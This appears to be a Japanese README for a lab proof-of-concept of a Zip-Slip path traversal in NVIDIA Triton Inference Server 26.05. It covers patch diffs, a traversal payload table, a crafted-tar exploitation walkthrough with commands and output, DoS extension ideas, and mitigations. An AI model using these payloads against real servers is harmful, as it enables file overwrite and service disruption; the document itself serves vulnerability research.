
# CVE-2026-47627の概念実証エクスプロイト NVIDIA Triton Inference Serverにおけるパストラバーサル脆弱性(Zip-Slip経由の任意ファイル書き込みにつながる)の概念実証エクスプロイトです。詳細な分析、ラボ環境、ワンクリックエクスプロイトスクリプトを含みます。
このリポジトリにおける調査結果とPoCの完全なWriteup(イメージ
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0)。リポジトリは常にexplicitに設定されており、gRPC経由で再起動なしのPoCが可能です。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| 公開日 | 2026-08-18(NVD 分析待ち) |
| Bulletin | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 パストラバーサル |
| 影響を受けるバージョン | 0.0-26.05(server v2.69.0 / core r26.05) |
| 修正バージョン | 26.06(server v2.70.0 / core r26.06) |
| 影響 | DoS(CNAの説明)— 本調査ではZip-Slipによる /models外へのファイル書き込み を実証。DoS/リソース枯渇に拡張可能 |
| クレジット | Martin Brodeur |
正直な注記: CNAの説明は
パストラバーサル → DoSのみで詳細なし。本Writeupではr26.05..r26.06の差分 と26.05-py3コンテナでの直接テスト によりバグの位置を再構築しています。
イメージ: nvcr.io/nvidia/tritonserver:26.05-py3(TRITON_VERSION 2.69.0)
Composeは常に explicit(このリポジトリではパッチ済み):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10、run_triton.ps1:11、run_triton.sh:12 も explicit に設定済み。
Tritonのモード:
NONE(デフォルトのアップストリーム)→ 起動時に一度だけロード、POST /v2/repository/models/.../load → 503、新しいモデルのロードには再起動が必要。POLL → リポジトリを毎秒スキャン、自動ロード、明示的なロードは引き続きブロック。EXPLICIT(このリポジトリ)→ スキャンしないが、gRPC load_model / POST /load を許可 → gRPC経由で再起動なしのPoCが可能。ポート:
| 8000 | HTTP REST | v2/health、v2/models、v2/repository |
| 8001 | gRPC | RepositoryModelLoad、ModelInfer |
| 8002 | Metrics | Prometheus |
初期モデル:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
クイックスタート:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + identity_onnx の推論
ユーザー入力 (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► "child が parent 内か?" チェック ──► ファイルを開く
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' チェック FileExists / extract
join に canonicalize がない場合、または rfind(parent,0)==0 のチェックが誤っている場合(部分一致 /models vs /models_evil)、../ でエスケープ可能。/dev/zero、/proc/self/mem の場合、または ../../ を含むtarがシステムファイルを上書きする場合に発生 → ハング / OOM / クラッシュ。3つの調査質問(初期レポートより):
RepositoryModelLoad の model_name、tarエントリの EXECUTION_ENV_PATH、file: オーバーライド、TRITON_BATCH_STRATEGY_PATH。posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath。DoS。このリポジトリでは /tmp/poc_marker への ファイル書き込み を実証。core リポジトリ(r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — 修正 dcb315d + 72f3d9b:
// 脆弱(r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → 部分一致バグ: "/models" プレフィックスが "/models_evil/file" を内部と誤判定
// 修正済み(r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → プレフィックス後に '/' が必要、"/models_evil" は正しく外部と判定
src/backend_model.cc:196(TRITON_BATCH_STRATEGY_PATH)と src/model_repository_manager/model_repository_manager.cc:162(file:)で使用。
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481(2026年3月、26.05には既に存在、26.06で強化):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
これにより、26.05では gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT(ブロック済み)。ただし %2f(エンコードされた /)はリテラルの / ではないため通過 → リテラルポーリングで 500。
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 テスト zipslip_test.py:
Tarは .. / 絶対パスのチェックなしで抽出される。/models/poc_exploit/malicious_env.tar.gz のエントリ ../../poc_marker は /tmp/poc_marker(モデルディレクトリ外)に抽出される。26.06での修正: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath チェックを使用。
server リポジトリ(r26.05..r26.06): sagemaker_server.cc:1027(RE2::FullMatch チェック)+ http_server.cc:2440(atoi→stoi)のみで、このCVEの経路ではない。
結論: HTTP/gRPC経由の model_name パスは26.05で ValidateModelName により ブロック済み だが、tarのZip-Slipは未対策 — これがこのリポジトリのPoCで悪用される経路。
| ベクター | ペイロード | 26.05の結果 | 影響あり? |
|---|---|---|---|
HTTP 生の ../ | POST /v2/repository/models/../tmp/pwn/load | 404(ルーティング正規化) | ❌ |
HTTP エンコード ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 リテラル、ポーリング /models/..%2ftmp%2fpwn は存在しない | ❌(偽の500、トラバーサルではない) |
gRPC 生の ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌(ブロック済み) |
gRPC エンコード ..%2f | load_model('..%2ftmp%2fpwn') | 500 リテラルポーリング | ❌ |
file: オーバーライド ../models_evil | file:../models_evil/pwn | 部分一致により 400/500 | ⚠️(IsChildPathEscapingParentPath バグに依存、ただし model_name は ValidateModelName でブロック済み) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz エントリ ../../poc_marker | 200 + /tmp/poc_marker にファイル | ✅ 脆弱 |
以前のWriteupの
500 vs 400の類推は誤り:500= ファイルが存在しない(ドアがない)、400= 検証で拒否(ドアが施錠されている)。どちらも侵入できない。200+/tmpへのファイル書き込みのみが証拠。
アイデア: Pythonバックエンドのパラメータ EXECUTION_ENV_PATH が $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz を指す。load_model('poc_exploit') 時に、バックエンド pb_env.cc:292 がサニタイズなしでtarを抽出。エントリ ../../poc_marker が .../poc_exploit/ から /tmp/poc_marker へエスケープ。
PoCの手順(scripts/exploit.py:28 & exploit.ps1:20 で自動化):
echo_python を poc_exploit にコピー(scripts/exploit.py:35)config.pbtxt に追記(scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') をトリガー(scripts/exploit.py:60)— explicit のため 再起動なし。docker exec tritonserver-test cat /tmp/poc_marker → pwned(scripts/exploit.py:81)前提条件: Docker、26.05-py3 イメージ、docker compose up -d 実行済み(リポジトリは explicit 設定済み)。
Python(再起動なし、gRPC経由):
py scripts/exploit.py # explicit を自動検出 → gRPC
py scripts/exploit.py --keep # 手動確認用にアーティファクトを保持
# 手動確認: docker exec tritonserver-test cat /tmp/poc_marker
# 手動クリーンアップ: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
MODE_NONE に戻す場合(デフォルトのアップストリーム動作が必要な場合):
# docker-compose.yml:12 を編集し --model-control-mode=explicit を削除
docker compose up -d --force-recreate
ブロックのテスト(200ではなく400/404/500になるはず):
py scripts/test_http_grpc_blocked.py # 旧リポジトリに存在、現在は削除 — exploit.py のログを使用
# または手動:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
脆弱なバージョン(26.05)— exploit.py の出力:
[*] gRPC load でエクスプロイトをトリガー(再起動なし)...
[+] gRPC load 送信完了
[+] 脆弱: /tmp/poc_marker が /models 外に存在
cat: pwned
[+] エクスプロイト成功 — リポジトリ外へのファイル書き込みを確認
検証:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
修正済み(26.06)— 期待される出力:
[-] 脆弱ではない: /tmp/poc_marker が見つからない
# ログ: Path contains '..' (または Path is absolute)
HTTP/gRPC の .. は500ではなく400になるはず:
# 26.05 gRPC 生の ../ → 400 INVALID_ARGUMENT(ValidateModelName でブロック済み)
# 26.05 gRPC ..%2f → 500 リテラルポーリング(検証をバイパスするが実際のトラバーサルではない)
# 26.06 両方 → 400
CNAは DoS と記載しているが、このZip-Slipは ファイル上書き が可能 → DoS:
model.py / config.pbtxt を上書き → モデルのロード失敗 → 503bin/activate または FIFO /tmp/fifo を含むtar → pb_env.cc のスレッドがハング → UNAVAILABLE../../dev/zero(無限)を含むtarで load_model をフラッディング → OOMこのリポジトリはトラバーサルの証拠として ファイル書き込み に焦点を当てている。DoSは無限ループする 1/model.py を含むtarで拡張可能。
26.06(server v2.70.0、core r26.06)— IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT。8000/8001 をインターネットに公開しない(リバースプロキシ + 認証)EXECUTION_ENV_PATH の .. & %2f をブロックEXECUTION_ENV_PATH を無効化docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # python backend サンプル
│ └── identity_onnx/ # onnxruntime サンプル
├── scripts/
│ ├── exploit.py:1 # 主要PoC(Python、ワンクリック、gRPC、再起動なし)
│ ├── generate_model.py # identity_onnx の再生成
│ └── client_test.py # health + 推論テスト
├── exploit.ps1:1 # 主要PoC(PowerShell、ワンクリック)
├── docker-compose.yml:12 # 常に explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # 常に explicit
├── requirements.txt # numpy、onnx、requests、tritonclient[http,grpc]、grpcio、protobuf
└── README.md # 本Writeup
削除済み: exploit_cve_*.py、poc_zipslip_simple.py、check_mode.py、test_http_grpc_blocked.py、cleanup_poc.py、test_poc.ps1、null、model_repository/zipslip_*、/tmp/poc_marker。
https://github.com/NVIDIA/product-security/tree/main/2026/5865(5865.md、CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627(分析待ち)dcb315d(子パスの近代化)、72f3d9b(子パステスト)、e520f8c7(zipslipテスト)、50830ba/66f09f8(ValidateModelName)v2.70.0(690f9dd)| 日付 | イベント |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 zipslipテスト |
| 2026-06-26 | 26.06 / v2.70.0 パッチリリース |
| 2026-08-18 | CVE公開 |
| 2026-09-02 | このPoCリポジトリが 26.05-py3 で検証 → VULNERABLE |
このPoCは 教育 & クローズドラボ を目的としています。認証なしで 8000/8001 を公開しないでください。デモ後は必ず exploit.py --keep を実行し、docker exec tritonserver-test rm -f /tmp/poc_marker & Remove-Item -Recurse model_repository/poc_exploit を実行してください。